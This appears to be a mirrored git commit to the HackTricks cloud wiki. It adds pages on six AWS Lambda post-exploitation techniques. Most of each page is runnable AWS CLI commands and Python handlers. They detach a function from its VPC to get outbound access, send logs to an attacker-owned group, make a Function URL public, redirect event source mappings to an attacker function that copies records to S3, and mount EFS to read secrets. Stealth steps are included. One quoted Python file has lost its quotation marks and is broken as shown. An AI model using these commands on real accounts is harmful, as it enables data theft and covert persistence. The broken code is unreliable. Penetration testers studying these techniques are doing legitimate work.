mirror of
https://github.com/HackTricks-wiki/hacktricks-cloud.git
synced 2026-01-16 23:01:43 -08:00
lambda attacks recheck
This commit is contained in:
@@ -32,6 +32,56 @@ Abusing Lambda Layers it's also possible to abuse extensions and persist in the
|
||||
../../aws-persistence/aws-lambda-persistence/aws-abusing-lambda-extensions.md
|
||||
{{#endref}}
|
||||
|
||||
### AWS Lambda – VPC Egress Bypass
|
||||
|
||||
Force a Lambda function out of a restricted VPC by updating its configuration with an empty VpcConfig (SubnetIds=[], SecurityGroupIds=[]). The function will then run in the Lambda-managed networking plane, regaining outbound internet access and bypassing egress controls enforced by private VPC subnets without NAT.
|
||||
|
||||
{{#ref}}
|
||||
aws-lambda-vpc-egress-bypass.md
|
||||
{{#endref}}
|
||||
|
||||
### AWS Lambda – Runtime Pinning/Rollback Abuse
|
||||
|
||||
Abuse `lambda:PutRuntimeManagementConfig` to pin a function to a specific runtime version (Manual) or freeze updates (FunctionUpdate). This preserves compatibility with malicious layers/wrappers and can keep the function on an outdated, vulnerable runtime to aid exploitation and long-term persistence.
|
||||
|
||||
{{#ref}}
|
||||
aws-lambda-runtime-pinning-abuse.md
|
||||
{{#endref}}
|
||||
|
||||
### AWS Lambda – Log Siphon via LoggingConfig.LogGroup Redirection
|
||||
|
||||
Abuse `lambda:UpdateFunctionConfiguration` advanced logging controls to redirect a function’s logs to an attacker-chosen CloudWatch Logs log group. This works without changing code or the execution role (most Lambda roles already include `logs:CreateLogGroup/CreateLogStream/PutLogEvents` via `AWSLambdaBasicExecutionRole`). If the function prints secrets/request bodies or crashes with stack traces, you can collect them from the new log group.
|
||||
|
||||
{{#ref}}
|
||||
aws-lambda-loggingconfig-redirection.md
|
||||
{{#endref}}
|
||||
|
||||
### AWS - Lambda Function URL Public Exposure
|
||||
|
||||
Turn a private Lambda Function URL into a public unauthenticated endpoint by switching the Function URL AuthType to NONE and attaching a resource-based policy that grants lambda:InvokeFunctionUrl to everyone. This enables anonymous invocation of internal functions and can expose sensitive backend operations.
|
||||
|
||||
{{#ref}}
|
||||
aws-lambda-function-url-public-exposure.md
|
||||
{{#endref}}
|
||||
|
||||
### AWS Lambda – Event Source Mapping Target Hijack
|
||||
|
||||
Abuse `UpdateEventSourceMapping` to change the target Lambda function of an existing Event Source Mapping (ESM) so that records from DynamoDB Streams, Kinesis, or SQS are delivered to an attacker-controlled function. This silently diverts live data without touching producers or the original function code.
|
||||
|
||||
{{#ref}}
|
||||
aws-lambda-event-source-mapping-target-hijack.md
|
||||
{{#endref}}
|
||||
|
||||
### AWS Lambda – EFS Mount Injection data exfiltration
|
||||
|
||||
Abuse `lambda:UpdateFunctionConfiguration` to attach an existing EFS Access Point to a Lambda, then deploy trivial code that lists/reads files from the mounted path to exfiltrate shared secrets/config that the function previously couldn’t access.
|
||||
|
||||
{{#ref}}
|
||||
aws-lambda-efs-mount-injection.md
|
||||
{{#endref}}
|
||||
|
||||
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
@@ -0,0 +1,77 @@
|
||||
# AWS Lambda – EFS Mount Injection via UpdateFunctionConfiguration (Data Theft)
|
||||
|
||||
Abuse `lambda:UpdateFunctionConfiguration` to attach an existing EFS Access Point to a Lambda, then deploy trivial code that lists/reads files from the mounted path to exfiltrate shared secrets/config that the function previously couldn’t access.
|
||||
|
||||
## Requirements
|
||||
- Permissions on the victim account/principal:
|
||||
- `lambda:GetFunctionConfiguration`
|
||||
- `lambda:ListFunctions` (to find functions)
|
||||
- `lambda:UpdateFunctionConfiguration`
|
||||
- `lambda:UpdateFunctionCode`
|
||||
- `lambda:InvokeFunction`
|
||||
- `efs:DescribeMountTargets` (to confirm mount targets exist)
|
||||
- Environment assumptions:
|
||||
- Target Lambda is VPC-enabled and its subnets/SGs can reach the EFS mount target SG over TCP/2049 (e.g. role has AWSLambdaVPCAccessExecutionRole and VPC routing allows it).
|
||||
- The EFS Access Point is in the same VPC and has mount targets in the AZs of the Lambda subnets.
|
||||
|
||||
## Attack
|
||||
- Variables
|
||||
```
|
||||
REGION=us-east-1
|
||||
TARGET_FN=<target-lambda-name>
|
||||
EFS_AP_ARN=<efs-access-point-arn>
|
||||
```
|
||||
|
||||
1) Attach the EFS Access Point to the Lambda
|
||||
```
|
||||
aws lambda update-function-configuration \
|
||||
--function-name $TARGET_FN \
|
||||
--file-system-configs Arn=$EFS_AP_ARN,LocalMountPath=/mnt/ht \
|
||||
--region $REGION
|
||||
# wait until LastUpdateStatus == Successful
|
||||
until [ "$(aws lambda get-function-configuration --function-name $TARGET_FN --query LastUpdateStatus --output text --region $REGION)" = "Successful" ]; do sleep 2; done
|
||||
```
|
||||
|
||||
2) Overwrite code with a simple reader that lists files and peeks first 200 bytes of a candidate secret/config file
|
||||
```
|
||||
cat > reader.py <<PY
|
||||
import os, json
|
||||
BASE=/mnt/ht
|
||||
|
||||
def lambda_handler(e, c):
|
||||
out={ls:[],peek:None}
|
||||
try:
|
||||
for root, dirs, files in os.walk(BASE):
|
||||
for f in files:
|
||||
p=os.path.join(root,f)
|
||||
out[ls].append(p)
|
||||
cand = next((p for p in out[ls] if secret in p.lower() or config in p.lower()), None)
|
||||
if cand:
|
||||
with open(cand,rb) as fh:
|
||||
out[peek] = fh.read(200).decode(utf-8,ignore)
|
||||
except Exception as ex:
|
||||
out[err]=str(ex)
|
||||
return out
|
||||
PY
|
||||
zip reader.zip reader.py
|
||||
aws lambda update-function-code --function-name $TARGET_FN --zip-file fileb://reader.zip --region $REGION
|
||||
# If the original handler was different, set it to reader.lambda_handler
|
||||
aws lambda update-function-configuration --function-name $TARGET_FN --handler reader.lambda_handler --region $REGION
|
||||
until [ "$(aws lambda get-function-configuration --function-name $TARGET_FN --query LastUpdateStatus --output text --region $REGION)" = "Successful" ]; do sleep 2; done
|
||||
```
|
||||
|
||||
3) Invoke and get the data
|
||||
```
|
||||
aws lambda invoke --function-name $TARGET_FN /tmp/efs-out.json --region $REGION >/dev/null
|
||||
cat /tmp/efs-out.json
|
||||
```
|
||||
|
||||
The output should contain the directory listing under /mnt/ht and a small preview of a chosen secret/config file from EFS.
|
||||
|
||||
## Impact
|
||||
An attacker with the listed permissions can mount arbitrary in-VPC EFS Access Points into victim Lambda functions to read and exfiltrate shared configuration and secrets stored on EFS that were previously inaccessible to that function.
|
||||
|
||||
## Cleanup
|
||||
```
|
||||
aws lambda update-function-configuration --function-name $TARGET_FN --file-system-configs [] --region $REGION || true
|
||||
```
|
||||
@@ -0,0 +1,81 @@
|
||||
# AWS - Hijack Event Source Mapping to Redirect Stream/SQS/Kinesis to Attacker Lambda
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
Abuse `UpdateEventSourceMapping` to change the target Lambda function of an existing Event Source Mapping (ESM) so that records from DynamoDB Streams, Kinesis, or SQS are delivered to an attacker-controlled function. This silently diverts live data without touching producers or the original function code.
|
||||
|
||||
## Impact
|
||||
- Divert and read live records from existing streams/queues without modifying producer apps or victim code.
|
||||
- Potential data exfiltration or logic tampering by processing the victim's traffic in a rogue function.
|
||||
|
||||
## Required permissions
|
||||
- `lambda:ListEventSourceMappings`
|
||||
- `lambda:GetEventSourceMapping`
|
||||
- `lambda:UpdateEventSourceMapping`
|
||||
- Ability to deploy or reference an attacker-controlled Lambda (`lambda:CreateFunction` or permission to use an existing one).
|
||||
|
||||
## Steps
|
||||
|
||||
1) Enumerate event source mappings for the victim function
|
||||
```
|
||||
TARGET_FN=<victim-function-name>
|
||||
aws lambda list-event-source-mappings --function-name $TARGET_FN \
|
||||
--query 'EventSourceMappings[].{UUID:UUID,State:State,EventSourceArn:EventSourceArn}'
|
||||
export MAP_UUID=$(aws lambda list-event-source-mappings --function-name $TARGET_FN \
|
||||
--query 'EventSourceMappings[0].UUID' --output text)
|
||||
export EVENT_SOURCE_ARN=$(aws lambda list-event-source-mappings --function-name $TARGET_FN \
|
||||
--query 'EventSourceMappings[0].EventSourceArn' --output text)
|
||||
```
|
||||
|
||||
2) Prepare an attacker-controlled receiver Lambda (same region; ideally similar VPC/runtime)
|
||||
```
|
||||
cat > exfil.py <<'PY'
|
||||
import json, boto3, os, time
|
||||
|
||||
def lambda_handler(event, context):
|
||||
print(json.dumps(event)[:3000])
|
||||
b = os.environ.get('EXFIL_S3')
|
||||
if b:
|
||||
k = f"evt-{int(time.time())}.json"
|
||||
boto3.client('s3').put_object(Bucket=b, Key=k, Body=json.dumps(event))
|
||||
return {'ok': True}
|
||||
PY
|
||||
zip exfil.zip exfil.py
|
||||
ATTACKER_LAMBDA_ROLE_ARN=<role-with-logs-(and optional S3)-permissions>
|
||||
export ATTACKER_FN_ARN=$(aws lambda create-function \
|
||||
--function-name ht-esm-exfil \
|
||||
--runtime python3.11 --role $ATTACKER_LAMBDA_ROLE_ARN \
|
||||
--handler exfil.lambda_handler --zip-file fileb://exfil.zip \
|
||||
--query FunctionArn --output text)
|
||||
```
|
||||
|
||||
3) Re-point the mapping to the attacker function
|
||||
```
|
||||
aws lambda update-event-source-mapping --uuid $MAP_UUID --function-name $ATTACKER_FN_ARN
|
||||
```
|
||||
|
||||
4) Generate an event on the source so the mapping fires (example: SQS)
|
||||
```
|
||||
SOURCE_SQS_URL=<queue-url>
|
||||
aws sqs send-message --queue-url $SOURCE_SQS_URL --message-body '{"x":1}'
|
||||
```
|
||||
|
||||
5) Verify the attacker function receives the batch
|
||||
```
|
||||
aws logs filter-log-events --log-group-name /aws/lambda/ht-esm-exfil --limit 5
|
||||
```
|
||||
|
||||
6) Optional stealth
|
||||
```
|
||||
# Pause mapping while siphoning events
|
||||
aws lambda update-event-source-mapping --uuid $MAP_UUID --enabled false
|
||||
|
||||
# Restore original target later
|
||||
aws lambda update-event-source-mapping --uuid $MAP_UUID --function-name $TARGET_FN --enabled true
|
||||
```
|
||||
|
||||
Notes:
|
||||
- For SQS ESMs, the execution role of the Lambda processing the queue needs `sqs:ReceiveMessage`, `sqs:DeleteMessage`, and `sqs:GetQueueAttributes` (managed policy: `AWSLambdaSQSQueueExecutionRole`).
|
||||
- The ESM UUID remains the same; only its `FunctionArn` is changed, so producers and source ARNs are untouched.
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
@@ -0,0 +1,48 @@
|
||||
# AWS - Lambda Function URL Public Exposure (AuthType NONE + Public Invoke Policy)
|
||||
|
||||
Turn a private Lambda Function URL into a public unauthenticated endpoint by switching the Function URL AuthType to NONE and attaching a resource-based policy that grants lambda:InvokeFunctionUrl to everyone. This enables anonymous invocation of internal functions and can expose sensitive backend operations.
|
||||
|
||||
## Abusing it
|
||||
|
||||
- Pre-reqs: lambda:UpdateFunctionUrlConfig, lambda:CreateFunctionUrlConfig, lambda:AddPermission
|
||||
- Region: us-east-1
|
||||
|
||||
### Steps
|
||||
1) Ensure the function has a Function URL (defaults to AWS_IAM):
|
||||
```
|
||||
aws lambda create-function-url-config --function-name $TARGET_FN --auth-type AWS_IAM || true
|
||||
```
|
||||
|
||||
2) Switch the URL to public (AuthType NONE):
|
||||
```
|
||||
aws lambda update-function-url-config --function-name $TARGET_FN --auth-type NONE
|
||||
```
|
||||
|
||||
3) Add a resource-based policy statement to allow unauthenticated principals:
|
||||
```
|
||||
aws lambda add-permission --function-name $TARGET_FN --statement-id ht-public-url --action lambda:InvokeFunctionUrl --principal "*" --function-url-auth-type NONE
|
||||
```
|
||||
|
||||
4) Retrieve the URL and invoke without credentials:
|
||||
```
|
||||
URL=$(aws lambda get-function-url-config --function-name $TARGET_FN --query FunctionUrl --output text)
|
||||
curl -sS "$URL"
|
||||
```
|
||||
|
||||
### Impact
|
||||
- The Lambda function becomes anonymously accessible over the internet.
|
||||
|
||||
### Example output (unauthenticated 200)
|
||||
|
||||
```
|
||||
HTTP 200
|
||||
https://e3d4wrnzem45bhdq2mfm3qgde40rjjfc.lambda-url.us-east-1.on.aws/
|
||||
{"message": "HackTricks demo: public Function URL reached", "timestamp": 1759761979, "env_hint": "us-east-1", "event_keys": ["version", "routeKey", "rawPath", "rawQueryString", "headers", "requestContext", "isBase64Encoded"]}
|
||||
```
|
||||
|
||||
### Cleanup
|
||||
|
||||
```
|
||||
aws lambda remove-permission --function-name $TARGET_FN --statement-id ht-public-url || true
|
||||
aws lambda update-function-url-config --function-name $TARGET_FN --auth-type AWS_IAM || true
|
||||
```
|
||||
@@ -0,0 +1,56 @@
|
||||
# AWS Lambda – Log Siphon via LoggingConfig.LogGroup Redirection
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
Abuse `lambda:UpdateFunctionConfiguration` advanced logging controls to redirect a function’s logs to an attacker-chosen CloudWatch Logs log group. This works without changing code or the execution role (most Lambda roles already include `logs:CreateLogGroup/CreateLogStream/PutLogEvents` via `AWSLambdaBasicExecutionRole`). If the function prints secrets/request bodies or crashes with stack traces, you can collect them from the new log group.
|
||||
|
||||
## Required permissions
|
||||
- lambda:UpdateFunctionConfiguration
|
||||
- lambda:GetFunctionConfiguration
|
||||
- lambda:InvokeFunction (or rely on existing triggers)
|
||||
- logs:CreateLogGroup (often not required if the function role has it)
|
||||
- logs:FilterLogEvents (to read events)
|
||||
|
||||
## Steps
|
||||
1) Create a sink log group
|
||||
|
||||
```
|
||||
aws logs create-log-group --log-group-name "/aws/hacktricks/ht-log-sink" --region us-east-1 || true
|
||||
```
|
||||
|
||||
2) Redirect the target function logs
|
||||
```
|
||||
aws lambda update-function-configuration \
|
||||
--function-name <TARGET_FN> \
|
||||
--logging-config LogGroup=/aws/hacktricks/ht-log-sink,LogFormat=JSON,ApplicationLogLevel=DEBUG \
|
||||
--region us-east-1
|
||||
```
|
||||
Wait until `LastUpdateStatus` becomes `Successful`:
|
||||
```
|
||||
aws lambda get-function-configuration --function-name <TARGET_FN> \
|
||||
--query LastUpdateStatus --output text
|
||||
```
|
||||
|
||||
3) Invoke and read from the sink
|
||||
```
|
||||
aws lambda invoke --function-name <TARGET_FN> /tmp/out.json --payload '{"ht":"log"}' --region us-east-1 >/dev/null
|
||||
sleep 5
|
||||
aws logs filter-log-events --log-group-name "/aws/hacktricks/ht-log-sink" --limit 50 --region us-east-1 --query 'events[].message' --output text
|
||||
```
|
||||
|
||||
## Impact
|
||||
- Covertly redirect all application/system logs to a log group you control, bypassing expectations that logs only land in `/aws/lambda/<fn>`.
|
||||
- Exfiltrate sensitive data printed by the function or surfaced in errors.
|
||||
|
||||
## Cleanup
|
||||
```
|
||||
aws lambda update-function-configuration --function-name <TARGET_FN> \
|
||||
--logging-config LogGroup=/aws/lambda/<TARGET_FN>,LogFormat=Text,ApplicationLogLevel=INFO \
|
||||
--region us-east-1 || true
|
||||
```
|
||||
|
||||
## Notes
|
||||
- Logging controls are part of Lambda’s `LoggingConfig` (LogGroup, LogFormat, ApplicationLogLevel, SystemLogLevel).
|
||||
- By default, Lambda sends logs to `/aws/lambda/<function>`, but you can point to any log group name; Lambda (or the execution role) will create it if allowed.
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
@@ -0,0 +1,13 @@
|
||||
# AWS Lambda – Runtime Pinning/Rollback Abuse via PutRuntimeManagementConfig
|
||||
|
||||
Abuse `lambda:PutRuntimeManagementConfig` to pin a function to a specific runtime version (Manual) or freeze updates (FunctionUpdate). This preserves compatibility with malicious layers/wrappers and can keep the function on an outdated, vulnerable runtime to aid exploitation and long-term persistence.
|
||||
|
||||
Requirements: `lambda:InvokeFunction`, `logs:FilterLogEvents`, `lambda:PutRuntimeManagementConfig`, `lambda:GetRuntimeManagementConfig`.
|
||||
|
||||
Example (us-east-1):
|
||||
- Invoke: `aws lambda invoke --function-name /tmp/ping.json --payload {} --region us-east-1 > /dev/null; sleep 5`
|
||||
- Freeze updates: `aws lambda put-runtime-management-config --function-name --update-runtime-on FunctionUpdate --region us-east-1`
|
||||
- Verify: `aws lambda get-runtime-management-config --function-name --region us-east-1`
|
||||
|
||||
Optionally pin to a specific runtime version by extracting the Runtime Version ARN from INIT_START logs and using `--update-runtime-on Manual --runtime-version-arn <arn>`.
|
||||
|
||||
@@ -0,0 +1,63 @@
|
||||
# AWS Lambda – VPC Egress Bypass by Detaching VpcConfig
|
||||
|
||||
Force a Lambda function out of a restricted VPC by updating its configuration with an empty VpcConfig (SubnetIds=[], SecurityGroupIds=[]). The function will then run in the Lambda-managed networking plane, regaining outbound internet access and bypassing egress controls enforced by private VPC subnets without NAT.
|
||||
|
||||
## Abusing it
|
||||
|
||||
- Pre-reqs: lambda:UpdateFunctionConfiguration on the target function (and lambda:InvokeFunction to validate), plus permissions to update code/handler if changing them.
|
||||
- Assumptions: The function is currently configured with VpcConfig pointing to private subnets without NAT (so outbound internet is blocked).
|
||||
- Region: us-east-1
|
||||
|
||||
### Steps
|
||||
|
||||
0) Prepare a minimal handler that proves outbound HTTP works
|
||||
|
||||
cat > net.py <<'PY'
|
||||
import urllib.request, json
|
||||
|
||||
def lambda_handler(event, context):
|
||||
try:
|
||||
ip = urllib.request.urlopen('https://checkip.amazonaws.com', timeout=3).read().decode().strip()
|
||||
return {"egress": True, "ip": ip}
|
||||
except Exception as e:
|
||||
return {"egress": False, "err": str(e)}
|
||||
PY
|
||||
zip net.zip net.py
|
||||
aws lambda update-function-code --function-name $TARGET_FN --zip-file fileb://net.zip --region $REGION || true
|
||||
aws lambda update-function-configuration --function-name $TARGET_FN --handler net.lambda_handler --region $REGION || true
|
||||
|
||||
1) Record current VPC config (to restore later if needed)
|
||||
|
||||
aws lambda get-function-configuration --function-name $TARGET_FN --query 'VpcConfig' --region $REGION > /tmp/orig-vpc.json
|
||||
cat /tmp/orig-vpc.json
|
||||
|
||||
2) Detach the VPC by setting empty lists
|
||||
|
||||
aws lambda update-function-configuration \
|
||||
--function-name $TARGET_FN \
|
||||
--vpc-config SubnetIds=[],SecurityGroupIds=[] \
|
||||
--region $REGION
|
||||
until [ "$(aws lambda get-function-configuration --function-name $TARGET_FN --query LastUpdateStatus --output text --region $REGION)" = "Successful" ]; do sleep 2; done
|
||||
|
||||
3) Invoke and verify outbound access
|
||||
|
||||
aws lambda invoke --function-name $TARGET_FN /tmp/net-out.json --region $REGION >/dev/null
|
||||
cat /tmp/net-out.json
|
||||
|
||||
(Optional) Restore original VPC config
|
||||
|
||||
if jq -e '.SubnetIds | length > 0' /tmp/orig-vpc.json >/dev/null; then
|
||||
SUBS=$(jq -r '.SubnetIds | join(",")' /tmp/orig-vpc.json); SGS=$(jq -r '.SecurityGroupIds | join(",")' /tmp/orig-vpc.json)
|
||||
aws lambda update-function-configuration --function-name $TARGET_FN --vpc-config SubnetIds=[$SUBS],SecurityGroupIds=[$SGS] --region $REGION
|
||||
fi
|
||||
|
||||
### Impact
|
||||
- Regains unrestricted outbound internet from the function, enabling data exfiltration or C2 from workloads that were intentionally isolated in private subnets without NAT.
|
||||
|
||||
### Example output (after detaching VpcConfig)
|
||||
|
||||
{"egress": true, "ip": "34.x.x.x"}
|
||||
|
||||
### Cleanup
|
||||
- If you created any temporary code/handler changes, restore them.
|
||||
- Optionally restore the original VpcConfig saved in /tmp/orig-vpc.json as shown above.
|
||||
Reference in New Issue
Block a user